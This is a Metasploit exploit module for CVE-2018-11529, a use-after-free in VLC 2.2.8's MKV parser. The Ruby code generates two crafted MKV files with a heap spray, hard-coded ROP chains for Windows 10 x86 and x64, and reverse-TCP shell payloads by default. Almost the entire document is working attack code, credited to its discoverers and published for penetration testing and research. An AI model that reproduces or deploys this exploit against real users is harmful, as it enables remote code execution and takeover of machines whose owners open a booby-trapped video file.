VLC Media Player 2.2.8 MKV Use-After-Free

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit  
Rank = GreatRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'VLC Media Player MKV Use After Free',  
'Description' => %q(  
This module exploits a use after free vulnerability in  
VideoLAN VLC =< 2.2.8. The vulnerability exists in the parsing of  
MKV files and affects both 32 bits and 64 bits.  
  
In order to exploit this, this module will generate two files:  
The first .mkv file contains the main vulnerability and heap spray,  
the second .mkv file is required in order to take the vulnerable code  
path and should be placed under the same directory as the .mkv file.  
  
This module has been tested against VLC v2.2.8. Tested with payloads  
windows/exec, windows/x64/exec, windows/shell/reverse_tcp,  
windows/x64/shell/reverse_tcp. Meterpreter payloads if used can  
cause the application to crash instead.  
),  
'License' => MSF_LICENSE,  
'Author' => [  
'Eugene Ng - GovTech', # Vulnerability Discovery, Exploit  
'Winston Ho - GovTech', # Metasploit Module  
],  
'References' =>  
[  
['CVE', '2018-11529'],  
['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11529'],  
['EDB', '44979']  
],  
'Payload' =>  
{  
'Space' => 0x300,  
'DisableNops' => true  
},  
'Platform' => 'win',  
'Targets' => [  
[  
'VLC 2.2.8 on Windows 10 x86',  
{  
'Platform' => 'win',  
'Arch' => [ARCH_X86],  
'Ret' => 0x22000020,  
'ExitPointer' => 0x00411364,  
'DefaultOptions' => {'PAYLOAD' => 'windows/shell/reverse_tcp'},  
'RopChain' => [  
0x0040ae91, # XCHG EAX,ESP # ADD BYTE PTR [ECX],AL # MOV EAX,DWORD PTR [EAX] # RET  
0x00407086, # POP EDI # RETN [vlc.exe]  
0x00000040, # 0x00000040-> edx  
0x0040b058, # MOV EDX,EDI # POP ESI # POP EDI # POP EBP # RETN [vlc.exe]  
0x41414141, # Filler (compensate)  
0x41414141, # Filler (compensate)  
0x41414141, # Filler (compensate)  
0x004039c7, # POP EAX # POP ECX # RETN [vlc.exe]  
0x22000030, # Filler (compensate) for rol [eax] below  
0x41414141, # Filler (compensate)  
0x004039c8, # POP ECX # RETN [vlc.exe]  
0x0041193d, # &Writable location [vlc.exe]  
0x00409d18, # POP EBX # RETN [vlc.exe]  
0x00000201, # 0x00000201-> ebx  
0x0040a623, # POP EBP # RETN [vlc.exe]  
0x0040a623, # POP EBP # RETN [vlc.exe]  
0x004036CB, # POP ESI # RETN [vlc.exe]  
0x0040848c, # JMP ds:[EAX * 4 + 40e000] [vlc.exe]  
0x00407086, # POP EDI # RETN [vlc.exe]  
0x0040ae95, # MOV EAX,DWORD PTR [EAX] # RETN [vlc.exe]  
0x0040af61, # PUSHAD # ROL BYTE PTR [EAX], 0FFH # LOOPNE VLC+0XAEF8 (0040AEF8)  
0x22000020 + 0x5e0, # Shellcode  
]  
}  
],  
[  
'VLC 2.2.8 on Windows 10 x64',  
{  
'Platform' => 'win',  
'Arch' => [ARCH_X64],  
'Ret' => 0x40000040,  
'ExitPointer' => 0x00412680,  
'DefaultOptions' => {'PAYLOAD' => 'windows/x64/shell/reverse_tcp'},  
'RopChain' => [  
0x004037ac, # XCHG EAX,ESP # ROL BL,90H # CMP WORD PTR [RCX],5A4DH # JE VLC+0X37C0 (00000000`004037C0) # XOR EAX,EAX # RET  
0x00403b60, # POP RCX # RET  
0x40000040, # lpAddress  
0x004011c2, # POP RDX # RET  
0x00001000, # dwSize  
0x0040ab70, # JMP VirtualProtect  
0x40000040 + 0x700, # Payload  
]  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => 'May 24 2018',  
'DefaultTarget' => 1))  
  
register_options [  
OptString.new('MKV_ONE', [false, 'mkv that should be opened', '']),  
OptString.new('MKV_TWO', [false, 'The auxiliary file name.', ''])  
]  
  
deregister_options('FILENAME')  
end  
  
def to_bytes(num, length, endianess = 'big')  
h = format('%<num>x', num: num)  
s = ('0' * (h.length % 2) + h).rjust(length * 2)  
s = s.scan(/.{2}/).map! { |x| x.hex.chr }.join  
endianess == 'big' ? s : s.reverse  
end  
  
def data_size(number, numbytes = (1...9))  
# encode 'number' as an EBML variable-size integer.  
numbytes = [numbytes] if numbytes.is_a?(Integer)  
numbytes.each do |size|  
bits = size * 7  
return to_bytes(((1 << bits) + number), size) if number <= (1 << bits) - 2  
end  
fail_with(Failure::BadConfig, "Can't store #{number} in #{size} bytes")  
end  
  
def build_data(size)  
block_size = 0x1000  
  
if target.arch.first == ARCH_X64  
target_address_packed = [target.ret].pack("<Q")  
rop_chain = target['RopChain'].map { |qword| [qword].pack("<Q") }.join  
  
if size == 0x180  
uaf_object = "\x41" * size  
uaf_object[0x30, 8] = target_address_packed  
uaf_object[0x38, 8] = [target.ret + 0x10000].pack("<Q")  
uaf_object[0x168, 8] = [target.ret + 0x3c0].pack("<Q")  
uaf_object[0x170, 8] = target_address_packed  
return uaf_object  
else  
block = "\x00" * block_size  
block[0x0, 4] = "\x41" * 4  
block[0x8, target_address_packed.length] = target_address_packed  
block[0x10, target_address_packed.length] = target_address_packed  
  
block[0x40, 8] = [0x1].pack("<Q")  
block[0x58, 8] = [target.ret + 0x3a8].pack("<Q")  
block[0xE4, 8] = [0x1].pack("<Q")  
  
block[0x1b8, 8] = [target.ret + 0x80].pack("<Q")  
block[0x3b8, rop_chain.length] = rop_chain  
  
block[0x6d8, 8] = [target.ret + 0x10].pack("<Q")  
block[0x700, payload.encoded.length] = payload.encoded  
  
block *= size / block.length + 1  
end  
return block[0, size]  
elsif target.arch.first == ARCH_X86  
target_address_packed = [target.ret].pack("<I")  
rop_chain = target['RopChain'].map { |dword| [dword].pack("<I") }.join  
  
if size == 0x100  
uaf_object = "\x41" * size  
uaf_object[0x28, 4] = target_address_packed  
uaf_object[0x2c, 4] = [target.ret + 0x10000].pack("<I")  
uaf_object[0xf4, 4] = [target.ret + 0x2bc].pack("<I")  
uaf_object[0xf8, 4] = target_address_packed  
return uaf_object  
else  
block = "\x00" * block_size  
block[0x0, 4] = [0x22000040].pack("<I")  
block[0x4, target_address_packed.length] = target_address_packed  
block[0x8, target_address_packed.length] = target_address_packed  
  
block[0x10, 4] = [0xc85].pack("<I")  
block[0x30, 4] = [0x1].pack("<I")  
block[0xc0, 4] = [0x1].pack("<I")  
  
block[0x194, 4] = [0x2200031c].pack("<I")  
block[0x2c0, 4] = [0x220002e4].pack("<I")  
block[0x2f4, 4] = [0x22000310].pack("<I")  
  
block[0x2f8, rop_chain.length] = rop_chain  
block[0x564, 4] = [0x22000588].pack("<I")  
block[0x5e0, payload.encoded.length] = payload.encoded  
  
block *= size / block.length + 1  
end  
return block[0, size]  
end  
end  
  
def generate_mkv  
# EBML Header  
doc_type = "\x42\x82" << data_size(8) << "matroska"  
ebml = "\x1a\x45\xdf\xa3" << data_size(doc_type.length) << doc_type  
  
# Seek Entries  
seek_entry = "\x53\xab" << data_size(4) # SeekID  
seek_entry << "\x15\x49\xa9\x66" # KaxInfo  
seek_entry << "\x53\xac" << data_size(2) << "\xff" * 2 # SeekPosition + Index of Segment info  
seek_entries = "\x4d\xbb" << data_size(seek_entry.length) << seek_entry # Seek Entry  
  
seek_entry = "\x53\xab" << data_size(4) # SeekID  
seek_entry << "\x11\x4d\x9b\x74" # KaxSeekHead  
seek_entry << "\x53\xac" << data_size(4) << "\xff" * 4 # SeekPosition + Index of SeekHead  
seek_entries << "\x4d\xbb" << data_size(seek_entry.length) << seek_entry # Seek Entry  
  
seek_entry = "\x53\xab" << data_size(4) # SeekID  
seek_entry << "\x10\x43\xa7\x70" # KaxChapters  
seek_entry << "\x53\xac" << data_size(4) << "\xff" * 4 # SeekPosition + Index of Chapters  
seek_entries << "\x4d\xbb" << data_size(seek_entry.length) << seek_entry # Seek Entry  
  
# SeekHead  
seek_head = "\x11\x4d\x9b\x74" << data_size(seek_entries.length) << seek_entries  
  
# Void  
void = "\xec" << data_size(2) << "\x41" # Trigger bug with an out-of-order element  
  
# Info  
segment_uid = "\x73\xa4" << data_size(16) << rand_text(16)  
info = "\x15\x49\xa9\x66" << data_size(segment_uid.length) << segment_uid  
  
# Chapters  
chapter_segment_uid = "\x6e\x67" << data_size(16) << rand_text(16)  
chapter_atom = "\xb6" << data_size(chapter_segment_uid.length) << chapter_segment_uid  
edition_entry = "\x45\xb9" << data_size(chapter_atom.length) << chapter_atom  
chapters = "\x10\x43\xa7\x70" << data_size(edition_entry.length) << edition_entry  
  
if target.arch.first == ARCH_X86  
size = 0x100  
count = 30  
elsif target.arch.first == ARCH_X64  
size = 0x180  
count = 60  
end  
  
# Attachments  
attached_files = ""  
mime = "\x46\x60" << data_size(24) << "application/octet-stream"  
data = build_data(size)  
data = "\x46\x5c" << data_size(data.length) << data  
500.times do  
uid = "\x46\xae" << data_size(8) << rand_text(8)  
file_name = "\x46\x6e" << data_size(8) << rand_text(8)  
header = "\x61\xa7" << data_size(uid.length + file_name.length + mime.length + data.length)  
  
attached_files << header << file_name << mime << uid << data  
end  
attachments = "\x19\x41\xa4\x69" << data_size(attached_files.length) << attached_files  
  
# Cluster  
pay_load = build_data(0xfff000)  
# Since the payload is simply repeated payload blocks appended to cluster then segment_data,  
# we return the simple_block and the count to process later instead.  
# This should result is overall lowered memory usage during payload generation  
simple_block = "\xa3" << data_size(pay_load.length) << pay_load  
simple_blocks_len = simple_block.length * count  
time_code = "\xe7" << data_size(1) << "\x00"  
cluster = "\x1f\x43\xb6\x75" << data_size(time_code.length + simple_blocks_len) << time_code  
  
# Concatenate everything  
segment_data = seek_head << void << info << chapters << attachments << cluster  
segment = "\x18\x53\x80\x67" << data_size(segment_data.length + simple_blocks_len) << segment_data  
mkv = ebml << segment  
  
return mkv, simple_block, count  
end  
  
def exploit  
mkv1, simple_block, count = generate_mkv  
mkv2 = mkv1[0, 0x4f] + "\x15\x49\xa9\x66" + data_size(10)  
  
tmpname = rand_text_alpha_lower(3..8)  
f1 = datastore['MKV_ONE'].empty? ? "#{tmpname}-part1.mkv" : datastore['MKV_ONE']  
f1 << '.mkv' unless f1.downcase.end_with?('.mkv')  
  
f2 = datastore['MKV_TWO'].empty? ? "#{tmpname}-part2.mkv" : datastore['MKV_TWO']  
f2 << '.mkv' unless f2.downcase.end_with?('.mkv')  
  
file_format_filename(f1)  
file_create(mkv1)  
print_status("Created #{f1}. Target should open this file")  
  
file_format_filename(f2)  
file_create(mkv2)  
print_status("Created #{f2}. Put this file in the same directory as #{f1}")  
  
print_status("Appending blocks to #{f1}")  
path = File.join(Msf::Config.local_directory, f1)  
full_path = ::File.expand_path(path)  
File.open(full_path, 'ab') do |fd|  
count.times { fd.write(simple_block) }  
end  
print_good("Succesfully appended blocks to #{f1}")  
end  
  
def file_format_filename(name = '')  
name.empty? ? @fname : @fname = name  
end  
end  
`